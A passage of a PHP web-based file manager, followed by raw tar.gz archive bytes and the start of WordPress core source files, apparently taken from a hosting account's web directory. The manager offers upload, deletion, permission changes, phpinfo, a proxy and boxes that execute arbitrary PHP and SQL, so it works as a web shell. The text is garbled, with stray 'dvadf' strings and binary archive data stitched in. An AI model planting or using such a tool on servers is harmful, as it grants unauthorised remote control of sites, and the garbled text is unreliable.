				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.php.tar.gz000064400000001776151440300030015062 0ustar00��V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�Wyerror_log.tar.gz000064400000001147151440300030007656 0ustar00���o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&class-wp-html-token.php.php.tar.gz000064400000002533151440300030013051 0ustar00��WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�class-wp-html-tag-processor.php.tar000064400000453000151440300030013313 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
